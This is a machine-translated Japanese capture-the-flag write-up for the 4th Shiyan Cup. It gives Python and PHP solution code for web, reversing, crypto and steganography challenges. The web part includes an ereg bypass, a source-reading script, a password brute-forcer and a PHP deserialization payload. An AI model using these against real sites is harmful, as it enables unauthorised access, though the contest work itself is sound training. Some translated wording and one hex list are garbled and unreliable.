第4回世安杯
40507 ワード
ああ、水の問題が山ほどあって、まだほとんど原題で、オフラインに入っても試合に行く時間がないので、急いでいます.
WEB
ctf入門級テーマ
eregを迂回する必要があるため、単純でなければなりません.
クッキー
後ろのfileを見るとファイル名のbase 64暗号化で、任意のファイルコードを読み取ることができるはずですが、lineは表示行数を制御するため、スクリプトを書きます
取得するphpコード
簡単です.cookiesを追加します.
を選択します.
簡単なコード監査では、x 1は全数字ではなく2017より大きくすることができます.それは2018 aです.2つ目は状況に応じて配列を構築し、3つ目はスクリプトを爆破する必要があります.
ログイン
明らかにパスワードスクリプトを爆破した
admin
まずphp擬似プロトコルによる書き込み
その後、後ろにclassを直接読み出すファイルが含まれていることに気づきました.phpのソース
シーケンス化を構築する
その他
reverseMe
16進数を見るとjpgのファイルヘッダが最後に
シナリオを直接書いて逆さまにすればいい
逆にすればいい
ジェニーンのqq号
数学の問題
走り出したのは結果
流量計、中のconf 1 g.phpはwebshellをアップロードして、発見を探してまた異常なピクチャーをダウンロードします
ぎゃくほうこう
android
逆コンパイルコードを解析すると,特定のブロードキャスト情報でapkをトリガする必要がある関連Activityキー情報はextraにおけるmsg値がOpenSesameであり,adbのroot権限下のamツールを呼び出すことができる.
BROADCASTボタンをクリックすると、apkはブロードキャストを発行します.ブロードキャストコンテンツは、関連文字列を処理したキーコンテンツをブロードキャストを受信するために、ブロードキャスト受信機を作成します.主なコードは次のとおりです.
この放送受信機を携帯電話にインストールし、BROADCASTをクリックすると、受信したメッセージが表示されます.
flagを得る
get_flag
入力してアルゴリズムを探します.ここにあります.
肝心なのはその比較で、eaxの計算は入力計算によって得られ、excはメモリの中で提出したもので、理解してからアルゴリズムを書きます.
flag:
単純アルゴリズム
この問題は少し脳の穴があって、問題によって多くのpassword(正確には知能的にその中の9ビットを確定する)を計算することができて、私たちは自分で異或の値を計算して、それから完全なflagを確定することができます:これは異或の値を計算するコードです:
次に、完全な排他的または排他的な値に基づいて、完全なflagを算出します.
flag:
console
これはNETの逆方向、原題があります.Reflectorが開くとexportが出てくるので、VSでコードを見てみましょう:
プログラムの大概の流れはCreateByTenshine文字列を暗号化して入力と比較することであり、暗号化も簡単であり、[0 x 2,0 x 3,0 x 5,0 x 7,0 xb,0 xd,0 x 11,0 x 13,0 x 17,0 x 1 d,0 x 1 f,0 x 25,0 x 29,0 x 2 b,0 x 2 f,0 x 35,0 x 3 b,0 x 3 b,0 x 3 d,0 x 43,0 x 47,0 x 49,0 x 4 f,0 x 53,0 x 59,0 x 61,0 x 65,0 x 67,0 x 6 b,0 x 6 b,0 x 6 d,0 x 6 d,0 x 6 d,0 x 6 x 6,0 x 43,0 x 43 x 71]の2番目から15番目の数を順番に異ならせ、–削除します.次にmd 5値を計算します.
最後のflag:
64ビットのELFファイル、sub_40084 A関数は逆デバッグを行います.動的に調整するときはeaxを変更すればいいです.
主関数を見てみると、
動的検索qword_601080のアドレス:
最初にnからwまでの配列を作成し、文字列を入力することで、配列が存在するべき位置(
したがって、作成された配列と組み合わせて、最終的な結果は
動的暴力解読
タイトルIDAの逆アセンブリコードは、C++STLライブラリで操作されているため、いくつかの関数名が長いため、気分が悪い.いくつかのstringを検索してflag(左右のカッコがある)のような文字列を見つけました.
プロセスを実行して、位置を入力して切断します.
そしてメモリの中でハードコーディングの文字列を見つけました:
スクリプトを書いて走ります
これはflag:
暗号学
rsa
これは、n,cそしてeが3のはずなので、bystument師匠のスクリプトをそのまま利用すればいいのです
暗記
low
作成した原題はstegsolveで解析したが,観察によりRGBのチャネルに問題があることが判明し,スクリプトを直接適用した.
シマウマ
この問題も簡単で、シマウマの体の縞を処理して、バーコードを得ることができて、スキャンします
破片の山をpsでつなぎ合わせる
デスクトップとして適した画像
まず1枚のピクチャーで、それから
スキャンして文字列
推測は16進数で、顔はpycの頭部で、直接反コンパイルを保存して元のpythonコードを覚えています
WEB
ctf入門級テーマ
$flag = '*********';
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
echo 'You password must be alphanumeric
';
else if (strpos ($_GET['password'], '--') !== FALSE)
die($flag);
else
echo 'Invalid password
';
}
?>
class="login">
<div class="title">
<a href="./index.phps">View Sourcea>
div>
<form method="POST">
<input type="text" required name="password" placeholder="Password" /><br/>
<input type="submit"/>
form>
section>
body>
html>
eregを迂回する必要があるため、単純でなければなりません.
http://ctf1.shiyanbar.com/shian-rao/?password[]=--
flag{Maybe_using_rexpexp_wasnt_a_clever_move}
クッキー
後ろのfileを見るとファイル名のbase 64暗号化で、任意のファイルコードを読み取ることができるはずですが、lineは表示行数を制御するため、スクリプトを書きます
import requests
url = "http://ctf1.shiyanbar.com/shian-quqi/index.php?line={0}&file=aW5kZXgucGhw"
for i in range(0,20):
url1 = url.format(i)
s = requests.get(url1)
print s.text
取得するphpコード
error_reporting(0);
$file=base64_decode(isset($_GET['file'])?$_GET['file']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&file=a2V5LnR4dA==");
$file_list = array(
'0' =>'key.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['key']) && $_COOKIE['key']=='li_lr_480'){
$file_list[2]='thisis_flag.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
簡単です.cookiesを追加します.
flag{UHGgd3rfH*(3HFhuiEIWF}
を選択します.
簡単なコード監査では、x 1は全数字ではなく2017より大きくすることができます.それは2018 aです.2つ目は状況に応じて配列を構築し、3つ目はスクリプトを爆破する必要があります.
import random
import string
import hashlib
import base64
import re
def md5(str):
m = hashlib.md5()
m.update(str)
return m.hexdigest()
i = 0
while 1:
i +=1
#print i
string = 'XIPU'
string2=''
#print string
s = string+string2.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',4))
print s,md5(s)[8:24],md5("15562")[8:24]
if (re.findall('^0e[0-9]{14,14}$',md5(s)[8:24])):
print s
break
CTF{Php_1s_bstl4_1a}
ログイン
明らかにパスワードスクリプトを爆破した
import requests
cookies = {
"PHPSESSID":"baukg3luocsduh2a1khcqoshh2"
}
for i in range(0,10):
for j in range(0,10):
for k in range(0,10):
for m in range(0,10):
for n in range(0,10):
num1 = str(i)+str(j)+str(k)+str(m)+str(n)
url1 = "http://ctf1.shiyanbar.com/shian-s/index.php?username=admin&password={0}&randcode={1}"
url = "http://ctf1.shiyanbar.com/shian-s/"
s = requests.get(url,cookies=cookies)
string = s.text
num = string.find("randcode")
print num
num2 = string[num+30:num+33]
print string[num+30:num+33]
url2 = url1.format(num1,num2)
print url2
s2 = requests.get(url2,cookies=cookies)
if "{" in s2.content:
print s2.content
exit(0)
#print string[num+16::3]
flag{U1tkOdgutaVWucdy2AbDWXPGkDx9bS2a}
admin
まずphp擬似プロトコルによる書き込み
その後、後ろにclassを直接読み出すファイルが含まれていることに気づきました.phpのソース
シーケンス化を構築する
class Read{//f1a9.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
}
return "__toString was called!";
}
}
$a = new Read();
$a->file="f1a9.php";
echo serialize($a);
?>
flag_Xd{hSh_ctf:e@syt0g3t}
その他
reverseMe
16進数を見るとjpgのファイルヘッダが最後に
シナリオを直接書いて逆さまにすればいい
f = open("C:/Users/lanlan/Desktop/reverseMe",'rb')
g = open("C:/Users/lanlan/Desktop/flag.png",'wb')
g.write(f.read()[::-1])
f.close()
g.close()
逆にすればいい
flag{4f7548f93c7bef1dc6a0542cf04e796e}
ジェニーンのqq号
数学の問題
for i in range(10000,100000):
str1 = str(i)
str2 = str1[::-1]
print i,str2
if i*4 == int(str2):
print int(str2)
break
走り出したのは結果
87912
気になる会社流量計、中のconf 1 g.phpはwebshellをアップロードして、発見を探してまた異常なピクチャーをダウンロードします
fl4g:{ftop_Is_Waiting_4_y}
ぎゃくほうこう
android
逆コンパイルコードを解析すると,特定のブロードキャスト情報でapkをトリガする必要がある関連Activityキー情報はextraにおけるmsg値がOpenSesameであり,adbのroot権限下のamツールを呼び出すことができる.
BROADCASTボタンをクリックすると、apkはブロードキャストを発行します.ブロードキャストコンテンツは、関連文字列を処理したキーコンテンツをブロードキャストを受信するために、ブロードキャスト受信機を作成します.主なコードは次のとおりです.
intentFilter = new IntentFilter();
intentFilter.addAction("com.flagstore.ctf.OUTGOING_INTENT");
receiver = new NetworkChangeReceiver();
registerReceiver(receiver, intentFilter);
class NetworkChangeReceiver extends BroadcastReceiver{
@Override
public void onReceive(Context context,Intent intent){
Toast.makeText(context, "getMessage"+intent.getStringExtra("msg"), Toast.LENGTH_SHORT).show();
}
}
}
この放送受信機を携帯電話にインストールし、BROADCASTをクリックすると、受信したメッセージが表示されます.
flagを得る
get_flag
入力してアルゴリズムを探します.ここにあります.
肝心なのはその比較で、eaxの計算は入力計算によって得られ、excはメモリの中で提出したもので、理解してからアルゴリズムを書きます.
a = [0xB9 ,0x3A,0xA9,0xD8,0x15, 0x8A, 0xE7 ,0x42,0x69, 0x90, 0xCA, 0xA3, 0x4D, 0xD8, 0xD9, 0xC9 ]
f = ""
for i in range(16):
for j in range(33,128):
if ((2*j-6)^j)-2*i==a[i]:
f += chr(j)
break
print f
flag:
mBqL!zS6-hLm)XY_
単純アルゴリズム
この問題は少し脳の穴があって、問題によって多くのpassword(正確には知能的にその中の9ビットを確定する)を計算することができて、私たちは自分で異或の値を計算して、それから完全なflagを確定することができます:これは異或の値を計算するコードです:
#include
#include
#include
#include
int main()
{
int v8 = 0;
int v4 ;
int v9 =0;
int v7 = 0;
for (v7=0;v7<=21;v7++)
{
int v4 = v7+1;
v9 = 0;
v8 = 0;
while ( v8 < v4 )
{
++v8;
v9 = 1828812941 * v9 + 12345;
}
printf("0x%x,",(unsigned __int8)v9);
}
}
次に、完全な排他的または排他的な値に基づいて、完全なflagを算出します.
a = "5FF25E8B4E0EA3AAC793813D5F74A309912B49289367"
a = [ord(i) for i in a.decode("hex")]
print len(a)
n = [0x11,0xa,0x11,0xd,0x1,0x0f,0x0,0x6,0x3,0x1]
xor =[0x39,0x9e,0x3f,0xec,0x35,0x6a,0x9b,0x98,0xf1,0xf6,0xb7,0x4,0x6d,0x42,0x93,0x30,0xa9,0x4e,0x2f,0x1c,0xa5,0x1a]
f = ['a','a','a','a','{','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','}']
r = ""
print len(f)
for i in range(22):
f[i] = chr(a[i]^xor[i])
for i in range(len(f)):
r += f[i]
print r
flag:
flag{d826e6926098ef46}
console
これはNETの逆方向、原題があります.Reflectorが開くとexportが出てくるので、VSでコードを見てみましょう:
プログラムの大概の流れはCreateByTenshine文字列を暗号化して入力と比較することであり、暗号化も簡単であり、[0 x 2,0 x 3,0 x 5,0 x 7,0 xb,0 xd,0 x 11,0 x 13,0 x 17,0 x 1 d,0 x 1 f,0 x 25,0 x 29,0 x 2 b,0 x 2 f,0 x 35,0 x 3 b,0 x 3 b,0 x 3 d,0 x 43,0 x 47,0 x 49,0 x 4 f,0 x 53,0 x 59,0 x 61,0 x 65,0 x 67,0 x 6 b,0 x 6 b,0 x 6 d,0 x 6 d,0 x 6 d,0 x 6 x 6,0 x 43,0 x 43 x 71]の2番目から15番目の数を順番に異ならせ、–削除します.次にmd 5値を計算します.
import hashlib
str1 = [0x2, 0x3, 0x5, 0x7, 0xb, 0xd, 0x11,0x13, 0x17, 0x1d, 0x1f, 0x25, 0x29, 0x2b, 0x2f, 0x35,0x3b, 0x3d, 0x43, 0x47,0x49, 0x4f, 0x53, 0x59, 0x61, 0x65, 0x67, 0x6b, 0x6d, 0x71]
str2 = "CreateByTenshine"
str3 = ""
for i in xrange(len(str2)):
t= ord(str2[i])
for j in range(1,15):
t = str1[j] ^ t
str3 += chr(t)
for k in xrange(len(str3)):
if (str3[k] == '-'):
str3[k] = ''
print str3
m = hashlib.md5()
m.update(str3)
result = m.hexdigest()
print 'flag{' + result + '}'
最後のflag:
flag{967DDDFBCD32C1F53527C221D9E40A0B}
bin 64ビットのELFファイル、sub_40084 A関数は逆デバッグを行います.動的に調整するときはeaxを変更すればいいです.
主関数を見てみると、
sub_40074D
関数判断が鍵です.動的検索qword_601080のアドレス:
最初にnからwまでの配列を作成し、文字列を入力することで、配列が存在するべき位置(
5、2、7、2、5、6
)にあるかどうかを確認し、最後にこの位置で比較します.したがって、作成された配列と組み合わせて、最終的な結果は
rotors
:動的暴力解読
タイトルIDAの逆アセンブリコードは、C++STLライブラリで操作されているため、いくつかの関数名が長いため、気分が悪い.いくつかのstringを検索してflag(左右のカッコがある)のような文字列を見つけました.
プロセスを実行して、位置を入力して切断します.
そしてメモリの中でハードコーディングの文字列を見つけました:
dfhlnrtxdflprvbhjptvbhjptvbfltxzdfjxbhj
そして降りて、入力はsub_401210
で暗号化されました.暗号化後は暗号化前と同じ長さですが、普通のシーザーではありません.同じ入力と出力が違いますが、暗号化の過程でこの文字列を使いました.flagはこの文字列を暗号化して今のようになったと推測されます:FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{ スクリプトを書いて走ります
s1 = 'FYM-OI}olte_zi_wdqedd_djrzuj_shgmEDFqo{'
s2 = 'dfhlnrtxdflprvbhjptvbhjptvbfltxzdfjxbhj'
s1 = list(s1)
for i in range(len(s1)):
pos = ord(s2[i])-ord('a')
if s1[i]=='{':
s1[i]='}'
elif s1[i]=='}':
s1[i]='{'
elif s1[i]=='_':
pass
else:
if s1[i].islower():
s1[i] = chr(ord(s1[i])-pos%26)
if ord(s1[i])<ord('a'):
s1[i] = chr(ord(s1[i])+26)
elif s1[i].isupper():
s1[i] = chr(ord(s1[i])-pos%26)
if ord(s1[i])<ord('A'):
s1[i] = chr(ord(s1[i])+26)
else:
pass
f = ""
print s1
for i in range(len(s1)):
f+=s1[i]
print f
これはflag:
暗号学
rsa
これは、n,cそしてeが3のはずなので、bystument師匠のスクリプトをそのまま利用すればいいのです
from libnum import s2n,n2s
from gmpy2 import iroot
n = 92164540447138944597127069158431585971338721360079328713704210939368383094265948407248342716209676429509660101179587761913570951794712775006017595393099131542462929920832865544705879355440749903797967940767833598657143883346150948256232023103001435628434505839331854097791025034667912357133996133877280328143
e = 3
c = 2044619806634581710230401748541393297937319
i = 0
while 1:
res = iroot(c+i*n,3)
if(res[1] == True):
print res
break
print "i="+str(i)
i = i+1
m = 126922179506039
print n2s(m)
so_low
暗記
low
作成した原題はstegsolveで解析したが,観察によりRGBのチャネルに問題があることが判明し,スクリプトを直接適用した.
# -*- coding: utf8 -*-
#low
import Image
def foo():
im=Image.open('C:/Users/lanlan/Desktop/low.bmp')
im2=im.copy()
pix=im2.load()
width,height=im2.size
for x in xrange(0,width):
for y in xrange(0,height):
#LSB
if pix[x,y]&0x1==0:
pix[x,y]=255 #
else:
pix[x,y]=0
im2.show()
pass
if __name__ == '__main__':
foo()
print 'ok'
pass
flag{139711e8e9ed545e}
シマウマ
この問題も簡単で、シマウマの体の縞を処理して、バーコードを得ることができて、スキャンします
FLAG IS TENSHINE
坑のflagはなんと小文字tenshine
CreateByWho 破片の山をpsでつなぎ合わせる
Create-By-SimpleLab
デスクトップとして適した画像
まず1枚のピクチャーで、それから
StegSolve
で分析して、QRコードを発見しますスキャンして文字列
03F30D0A79CB05586300000000000000000100000040000000730D0000006400008400005A000064010053280200000063000000000300000016000000430000007378000000640100640200640300640400640500640600640700640300640800640900640A00640600640B00640A00640700640800640C00640C00640D00640E00640900640F006716007D00006410007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100715500577C010047486400005328110000004E6966000000696C00000069610000006967000000697B000000693300000069380000006935000000693700000069300000006932000000693400000069310000006965000000697D000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007304000000312E7079520300000001000000730A0000000001480106010D0114014E280100000052030000002800000000280000000028000000007304000000312E707974080000003C6D6F64756C653E010000007300000000
を取得推測は16進数で、顔はpycの頭部で、直接反コンパイルを保存して元のpythonコードを覚えています
#!/usr/bin/env python
# encoding: utf-8
# http://tool.lu/pyc/
def flag():
str = [
102,
108,
97,
103,
123,
51,
56,
97,
53,
55,
48,
51,
50,
48,
56,
53,
52,
52,
49,
101,
55,![enter description here][32]
125]
flag = ''
for i in str:
flag += chr(i)
print flag
flag()
flag{38a57032085441e7}